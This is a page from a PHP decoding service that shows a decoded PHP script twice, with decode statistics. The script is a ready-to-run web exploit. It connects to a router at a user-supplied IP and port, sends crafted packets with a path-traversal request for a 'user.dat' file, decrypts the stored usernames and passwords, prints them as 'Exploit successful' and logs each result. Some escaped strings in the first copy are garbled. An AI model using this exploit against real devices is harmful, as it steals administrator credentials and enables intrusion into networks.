Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
Converted PHP script <?php function fn_09fe7eef5e1770ecbedc6ba833973de0($var_5b8f974..
Decoded Output download
Converted PHP script
<?php
function fn_09fe7eef5e1770ecbedc6ba833973de0($var_5b8f9744bf00730cef0a43d747b8d3ad, $var_dee98eda2a0d5aac3bbab4b58a7d35bd) {
$var_180a3037e57f4f940140793ef5332cbf = md5($var_5b8f9744bf00730cef0a43d747b8d3ad . "283i4jfkai3389", true);
$var_bf6c60f5f27ee1250d4fbe5d329906f8 = "";
for ($var_6c346649717c696ada8607ddfd976dc2 = 0; $var_6c346649717c696ada8607ddfd976dc2 < strlen($var_dee98eda2a0d5aac3bbab4b58a7d35bd); $var_6c346649717c696ada8607ddfd976dc2++) {
$var_bf6c60f5f27ee1250d4fbe5d329906f8 .= chr(ord($var_dee98eda2a0d5aac3bbab4b58a7d35bd[$var_6c346649717c696ada8607ddfd976dc2]) ^ ord($var_180a3037e57f4f940140793ef5332cbf[$var_6c346649717c696ada8607ddfd976dc2 % strlen($var_180a3037e57f4f940140793ef5332cbf)]));
}
return explode("", $var_bf6c60f5f27ee1250d4fbe5d329906f8)[0];
}
function fn_d184990aabbac0009ce9ce81935a4efe($var_ef771296868809b2ee35cfb5e6f2b435) {
$var_21fbd03f3f4d353b090b8b49d996f76f = explode("!", $var_ef771296868809b2ee35cfb5e6f2b435)[1];
$var_50dcc86fb64ba2f731b507a17c83d16c = explode("!", $var_ef771296868809b2ee35cfb5e6f2b435)[1];
$var_5c2a1023646fa42d60bbd79d78b2e0af = ord($var_21fbd03f3f4d353b090b8b49d996f76f[0]);
$var_2d740ca0bdc2b7f37ba3f5c7ed0d6620 = ord($var_50dcc86fb64ba2f731b507a17c83d16c[0]);
$var_fc19c10fea721f916c11170d657c04de = substr($var_21fbd03f3f4d353b090b8b49d996f76f, 1, $var_5c2a1023646fa42d60bbd79d78b2e0af);
$var_f0e588775aa9084abed9d2e9ef53e240 = substr($var_50dcc86fb64ba2f731b507a17c83d16c, 1, $var_2d740ca0bdc2b7f37ba3f5c7ed0d6620);
return array($var_fc19c10fea721f916c11170d657c04de, $var_f0e588775aa9084abed9d2e9ef53e240);
}
function fn_be9bdbb5454e64f69544e6dd27c068dd($var_1654df2bfca35b2d391a907afa1a9b11) {
$var_daf5a9f3979adec768d1748fea5f26d5 = [];
$var_70b3bbd41d2e77e50b487c11d416e9b8 = explode("M2", $var_1654df2bfca35b2d391a907afa1a9b11);
array_shift($var_70b3bbd41d2e77e50b487c11d416e9b8);
foreach ($var_70b3bbd41d2e77e50b487c11d416e9b8 as $var_ef771296868809b2ee35cfb5e6f2b435) {
try {
list($var_5b8f9744bf00730cef0a43d747b8d3ad, $var_c57ea2f40356ee81dc9cae5b9871e449) = fn_d184990aabbac0009ce9ce81935a4efe($var_ef771296868809b2ee35cfb5e6f2b435);
} catch (Exception $var_6adad752bf4fa8c5f790d95c38f4fe5f) {
continue;
}
$var_eca14d446585aa427994b43e303131d4 = fn_09fe7eef5e1770ecbedc6ba833973de0($var_5b8f9744bf00730cef0a43d747b8d3ad, $var_c57ea2f40356ee81dc9cae5b9871e449);
$var_5b8f9744bf00730cef0a43d747b8d3ad = utf8_encode($var_5b8f9744bf00730cef0a43d747b8d3ad);
$var_daf5a9f3979adec768d1748fea5f26d5[] = array("user" => $var_5b8f9744bf00730cef0a43d747b8d3ad, "pass" => $var_eca14d446585aa427994b43e303131d4);
}
return $var_daf5a9f3979adec768d1748fea5f26d5;
}
function fn_6843295380940bfe8ae666d7ac6e02d8($var_de2cdd217ec0f0a021373ca7c96b3c0d, $var_ff9f285be6d7b139674984f9fbdb2950) {
$var_2904f8b9bc3357c67e9ab2f5ee7187f4 = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00];
$var_9134ed7e170bced7832ec9992565f9e3 = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00];
$var_5fda399118a746aa287901a31d486520 = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($var_5fda399118a746aa287901a31d486520, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 3, "usec" => 0));
try {
socket_connect($var_5fda399118a746aa287901a31d486520, $var_de2cdd217ec0f0a021373ca7c96b3c0d, $var_ff9f285be6d7b139674984f9fbdb2950);
} catch (Exception $var_6adad752bf4fa8c5f790d95c38f4fe5f) {
return "Connection error: " . $var_6adad752bf4fa8c5f790d95c38f4fe5f->getMessage();
}
$var_2904f8b9bc3357c67e9ab2f5ee7187f4 = implode(array_map("chr", $var_2904f8b9bc3357c67e9ab2f5ee7187f4));
$var_9134ed7e170bced7832ec9992565f9e3 = implode(array_map("chr", $var_9134ed7e170bced7832ec9992565f9e3));
socket_write($var_5fda399118a746aa287901a31d486520, $var_2904f8b9bc3357c67e9ab2f5ee7187f4, strlen($var_2904f8b9bc3357c67e9ab2f5ee7187f4));
try {
$var_49936ce3ddf65e016b5d5c942a538536 = socket_read($var_5fda399118a746aa287901a31d486520, 1024);
} catch (Exception $var_6adad752bf4fa8c5f790d95c38f4fe5f) {
socket_close($var_5fda399118a746aa287901a31d486520);
return "Connection error: " . $var_6adad752bf4fa8c5f790d95c38f4fe5f->getMessage();
}
$var_9134ed7e170bced7832ec9992565f9e3[19] = $var_49936ce3ddf65e016b5d5c942a538536[38];
socket_write($var_5fda399118a746aa287901a31d486520, $var_9134ed7e170bced7832ec9992565f9e3, strlen($var_9134ed7e170bced7832ec9992565f9e3));
$var_49936ce3ddf65e016b5d5c942a538536 = socket_read($var_5fda399118a746aa287901a31d486520, 1024);
socket_close($var_5fda399118a746aa287901a31d486520);
$var_df5467877eb81cf3da6f74b54ea54e65 = "Exploit failed";
if (strlen(substr($var_49936ce3ddf65e016b5d5c942a538536, 55)) > 25) {
$var_df5467877eb81cf3da6f74b54ea54e65 = "Exploit successful
";
$var_4472f5410bd385c3e3203afadf9dc9b1 = fn_be9bdbb5454e64f69544e6dd27c068dd(substr($var_49936ce3ddf65e016b5d5c942a538536, 55));
foreach ($var_4472f5410bd385c3e3203afadf9dc9b1 as $var_c8460596e6d241f61e434baf48c7f6b7) {
$var_df5467877eb81cf3da6f74b54ea54e65 .= "User: " . $var_c8460596e6d241f61e434baf48c7f6b7["user"] . "
Pass: " . $var_c8460596e6d241f61e434baf48c7f6b7["pass"] . "
";
}
}
return $var_df5467877eb81cf3da6f74b54ea54e65;
}
if (isset($_GET['ip']) && isset($_GET['port'])) {
$var_f6e0608e9a8eabb9be926965965d316a = $_GET['ip'];
$var_d76b28fd5eef1a4a9c9efb1ce363a926 = intval($_GET['port']);
$var_f7f0a97a1c1711a6c707740e6835973a = fn_6843295380940bfe8ae666d7ac6e02d8($var_f6e0608e9a8eabb9be926965965d316a, $var_d76b28fd5eef1a4a9c9efb1ce363a926);
$var_32cca7c0a58889c800805a671e819cf1 = $var_f7f0a97a1c1711a6c707740e6835973a;
date_default_timezone_set('Asia/Dhaka');
$var_6d343dededbfbd7a33d7f557bb3be974 = "[" . date("Y-m-d H:i:s") . "] IP: " . $_SERVER['REMOTE_ADDR'] . " - Result: " . $var_f7f0a97a1c1711a6c707740e6835973a . "
";
file_put_contents("results_log.txt", $var_6d343dededbfbd7a33d7f557bb3be974, FILE_APPEND);
echo $var_32cca7c0a58889c800805a671e819cf1;
} else {
echo "Please provide IP and port.";
}
?>
Did this file decode correctly?
Original Code
Converted PHP script
<?php
function fn_09fe7eef5e1770ecbedc6ba833973de0($var_5b8f9744bf00730cef0a43d747b8d3ad, $var_dee98eda2a0d5aac3bbab4b58a7d35bd) {
$var_180a3037e57f4f940140793ef5332cbf = md5($var_5b8f9744bf00730cef0a43d747b8d3ad . "283i4jfkai3389", true);
$var_bf6c60f5f27ee1250d4fbe5d329906f8 = "";
for ($var_6c346649717c696ada8607ddfd976dc2 = 0; $var_6c346649717c696ada8607ddfd976dc2 < strlen($var_dee98eda2a0d5aac3bbab4b58a7d35bd); $var_6c346649717c696ada8607ddfd976dc2++) {
$var_bf6c60f5f27ee1250d4fbe5d329906f8 .= chr(ord($var_dee98eda2a0d5aac3bbab4b58a7d35bd[$var_6c346649717c696ada8607ddfd976dc2]) ^ ord($var_180a3037e57f4f940140793ef5332cbf[$var_6c346649717c696ada8607ddfd976dc2 % strlen($var_180a3037e57f4f940140793ef5332cbf)]));
}
return explode("\x00", $var_bf6c60f5f27ee1250d4fbe5d329906f8)[0];
}
function fn_d184990aabbac0009ce9ce81935a4efe($var_ef771296868809b2ee35cfb5e6f2b435) {
$var_21fbd03f3f4d353b090b8b49d996f76f = explode("\x01\x00\x00\x21", $var_ef771296868809b2ee35cfb5e6f2b435)[1];
$var_50dcc86fb64ba2f731b507a17c83d16c = explode("\x11\x00\x00\x21", $var_ef771296868809b2ee35cfb5e6f2b435)[1];
$var_5c2a1023646fa42d60bbd79d78b2e0af = ord($var_21fbd03f3f4d353b090b8b49d996f76f[0]);
$var_2d740ca0bdc2b7f37ba3f5c7ed0d6620 = ord($var_50dcc86fb64ba2f731b507a17c83d16c[0]);
$var_fc19c10fea721f916c11170d657c04de = substr($var_21fbd03f3f4d353b090b8b49d996f76f, 1, $var_5c2a1023646fa42d60bbd79d78b2e0af);
$var_f0e588775aa9084abed9d2e9ef53e240 = substr($var_50dcc86fb64ba2f731b507a17c83d16c, 1, $var_2d740ca0bdc2b7f37ba3f5c7ed0d6620);
return array($var_fc19c10fea721f916c11170d657c04de, $var_f0e588775aa9084abed9d2e9ef53e240);
}
function fn_be9bdbb5454e64f69544e6dd27c068dd($var_1654df2bfca35b2d391a907afa1a9b11) {
$var_daf5a9f3979adec768d1748fea5f26d5 = [];
$var_70b3bbd41d2e77e50b487c11d416e9b8 = explode("M2", $var_1654df2bfca35b2d391a907afa1a9b11);
array_shift($var_70b3bbd41d2e77e50b487c11d416e9b8);
foreach ($var_70b3bbd41d2e77e50b487c11d416e9b8 as $var_ef771296868809b2ee35cfb5e6f2b435) {
try {
list($var_5b8f9744bf00730cef0a43d747b8d3ad, $var_c57ea2f40356ee81dc9cae5b9871e449) = fn_d184990aabbac0009ce9ce81935a4efe($var_ef771296868809b2ee35cfb5e6f2b435);
} catch (Exception $var_6adad752bf4fa8c5f790d95c38f4fe5f) {
continue;
}
$var_eca14d446585aa427994b43e303131d4 = fn_09fe7eef5e1770ecbedc6ba833973de0($var_5b8f9744bf00730cef0a43d747b8d3ad, $var_c57ea2f40356ee81dc9cae5b9871e449);
$var_5b8f9744bf00730cef0a43d747b8d3ad = utf8_encode($var_5b8f9744bf00730cef0a43d747b8d3ad);
$var_daf5a9f3979adec768d1748fea5f26d5[] = array("user" => $var_5b8f9744bf00730cef0a43d747b8d3ad, "pass" => $var_eca14d446585aa427994b43e303131d4);
}
return $var_daf5a9f3979adec768d1748fea5f26d5;
}
function fn_6843295380940bfe8ae666d7ac6e02d8($var_de2cdd217ec0f0a021373ca7c96b3c0d, $var_ff9f285be6d7b139674984f9fbdb2950) {
$var_2904f8b9bc3357c67e9ab2f5ee7187f4 = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00];
$var_9134ed7e170bced7832ec9992565f9e3 = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00];
$var_5fda399118a746aa287901a31d486520 = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($var_5fda399118a746aa287901a31d486520, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 3, "usec" => 0));
try {
socket_connect($var_5fda399118a746aa287901a31d486520, $var_de2cdd217ec0f0a021373ca7c96b3c0d, $var_ff9f285be6d7b139674984f9fbdb2950);
} catch (Exception $var_6adad752bf4fa8c5f790d95c38f4fe5f) {
return "Connection error: " . $var_6adad752bf4fa8c5f790d95c38f4fe5f->getMessage();
}
$var_2904f8b9bc3357c67e9ab2f5ee7187f4 = implode(array_map("chr", $var_2904f8b9bc3357c67e9ab2f5ee7187f4));
$var_9134ed7e170bced7832ec9992565f9e3 = implode(array_map("chr", $var_9134ed7e170bced7832ec9992565f9e3));
socket_write($var_5fda399118a746aa287901a31d486520, $var_2904f8b9bc3357c67e9ab2f5ee7187f4, strlen($var_2904f8b9bc3357c67e9ab2f5ee7187f4));
try {
$var_49936ce3ddf65e016b5d5c942a538536 = socket_read($var_5fda399118a746aa287901a31d486520, 1024);
} catch (Exception $var_6adad752bf4fa8c5f790d95c38f4fe5f) {
socket_close($var_5fda399118a746aa287901a31d486520);
return "Connection error: " . $var_6adad752bf4fa8c5f790d95c38f4fe5f->getMessage();
}
$var_9134ed7e170bced7832ec9992565f9e3[19] = $var_49936ce3ddf65e016b5d5c942a538536[38];
socket_write($var_5fda399118a746aa287901a31d486520, $var_9134ed7e170bced7832ec9992565f9e3, strlen($var_9134ed7e170bced7832ec9992565f9e3));
$var_49936ce3ddf65e016b5d5c942a538536 = socket_read($var_5fda399118a746aa287901a31d486520, 1024);
socket_close($var_5fda399118a746aa287901a31d486520);
$var_df5467877eb81cf3da6f74b54ea54e65 = "Exploit failed";
if (strlen(substr($var_49936ce3ddf65e016b5d5c942a538536, 55)) > 25) {
$var_df5467877eb81cf3da6f74b54ea54e65 = "Exploit successful\n";
$var_4472f5410bd385c3e3203afadf9dc9b1 = fn_be9bdbb5454e64f69544e6dd27c068dd(substr($var_49936ce3ddf65e016b5d5c942a538536, 55));
foreach ($var_4472f5410bd385c3e3203afadf9dc9b1 as $var_c8460596e6d241f61e434baf48c7f6b7) {
$var_df5467877eb81cf3da6f74b54ea54e65 .= "User: " . $var_c8460596e6d241f61e434baf48c7f6b7["user"] . "\nPass: " . $var_c8460596e6d241f61e434baf48c7f6b7["pass"] . "\n\n";
}
}
return $var_df5467877eb81cf3da6f74b54ea54e65;
}
if (isset($_GET['ip']) && isset($_GET['port'])) {
$var_f6e0608e9a8eabb9be926965965d316a = $_GET['ip'];
$var_d76b28fd5eef1a4a9c9efb1ce363a926 = intval($_GET['port']);
$var_f7f0a97a1c1711a6c707740e6835973a = fn_6843295380940bfe8ae666d7ac6e02d8($var_f6e0608e9a8eabb9be926965965d316a, $var_d76b28fd5eef1a4a9c9efb1ce363a926);
$var_32cca7c0a58889c800805a671e819cf1 = $var_f7f0a97a1c1711a6c707740e6835973a;
date_default_timezone_set('Asia/Dhaka');
$var_6d343dededbfbd7a33d7f557bb3be974 = "[" . date("Y-m-d H:i:s") . "] IP: " . $_SERVER['REMOTE_ADDR'] . " - Result: " . $var_f7f0a97a1c1711a6c707740e6835973a . "\n";
file_put_contents("results_log.txt", $var_6d343dededbfbd7a33d7f557bb3be974, FILE_APPEND);
echo $var_32cca7c0a58889c800805a671e819cf1;
} else {
echo "Please provide IP and port.";
}
?>
Function Calls
None |
Stats
MD5 | 0c22c84395738b7e905ac46714bc7565 |
Eval Count | 0 |
Decode Time | 67 ms |